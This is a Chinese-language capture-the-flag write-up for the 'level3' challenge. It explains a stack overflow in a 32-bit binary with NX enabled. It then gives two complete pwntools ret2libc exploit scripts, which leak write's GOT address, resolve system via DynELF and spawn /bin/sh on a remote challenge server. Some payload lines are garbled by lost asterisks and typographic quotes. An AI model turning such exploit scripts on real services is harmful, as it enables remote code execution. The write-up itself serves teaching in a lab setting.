level3

0x01 寻找漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
xfgg@ubuntu:~/Downloads$ checksec level3
[*] '/home/xfgg/Downloads/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只有nx保护

ida分析

ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
很明显的栈溢出漏洞,但是没有system函数和/bin/sh字符串了 这里有一个新的模式,泄露函数got表中的地址获取到库中某个函数的真正加载地址,通过偏移找出函数的库,通过然后找出其他函数的真正加载地址,包括system函数也包括/bin/sh字符串

xfgg@ubuntu:~/Downloads$ ROPgadget --binary level3 --only "pop|ret"
Gadgets information
============================================================
0x0804851b : pop ebp ; ret
0x08048518 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804851a : pop edi ; pop ebp ; ret
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

我们选中这里作为ROP的位置
0x08048519 : pop esi ; pop edi ; pop ebp ; ret
0x080482da : ret
0x080483ce : ret 0xeac1

0x02 思路分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)

这一部分是为了泄露出来write 函数的got表内容 payload = “A” 0x88 + “A” 4 + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)

这一部分会返等待输入,把输入的内容放到bss_addr。返回地址pop_pop_pop_ret保证堆栈平衡 payload+=p32(system_addr)+p32(0x77777777)+p32(bin_sh_addr)

这一部分是为了执行system(“/bin/sh”)函数。会执行system("/bin/sh")是因为发送过去的payload在函数返回时才会起作用

from pwn import *

pop_pop_pop_ret=0x08048519

elf=ELF("/home/xfgg/level3") ##载入level3程序

plt_write=elf.plt["write"]
got_write=elf.got["write"]

p=remote("111.198.29.45",41869)
##获取level3的write的plt表和got表
p.recvline()

##因为程序中调用了write()函数,write()函数是从Libc中动态调用的,所以,我们可以根据write()在libc中的地址通过偏移泄露出##libc的版本

payload="A"0x88+"A"4+p32(plt_write)+p32(pop_pop_pop_ret)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)

write_addr=u32(p.recv(4))

## u32():表示unsigned long int,而且只接受4字节就够用了

print "write_addr="+hex(write_addr)

##这里泄露libc的版本,运行这段代码就能获取到write函数的运行地址(放在write_addr里面)。 运行结果为write_addr=0xf7dfad80为了获取到libc版本这里推荐一个网站https://libc.blukat.me/?q=write%3A0x7f2179c14440。可以在这里通过函数名和地址查询出运行库的版本也提供下载。(如果一个地址查到不止一个库版本可以试着再泄露一个函数) 当然也可以自动获取,这个更可靠,pwntools提供的有库LibcSearcher。由于本人的电脑重装,还没安这个库,所以,没有直接用,而是跟LibcSearcher一样的方式,先泄露然后查找

0x03 攻击

1
write函数和libc泄露,写入system('/bin/sh') 最好使用dynelf模块

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

elf = ELF("/home/xfgg/Downloads/level3")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
main_addr = 0x08048484

def leak(address):
p.recvline()
payload1 = "a"*0x88+"a"*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(address)+p32(4)
p.sendline(payload1)
date = p.recv(4)
print "%#x => %s" % (address,(date or '').encode('hex'))
return date

p = remote('111.198.29.45',57881)
d = DynELF(leak,elf=ELF("/home/xfgg/Downloads/level3"))
system_addr = d.lookup('system','libc')

bss_addr = 0x0804a024
pop_addr = 0x08048519

p.recvline()

payload2 = "a"*140+p32(plt_read)+p32(pop_addr)+p32(0)+p32(bss_addr)+p32(8)
payload2 +=p32(system_addr)+p32(main_addr)+p32(bss_addr)

p.sendline(payload2)
p.sendline("/bin/sh")
p.interactive()
0%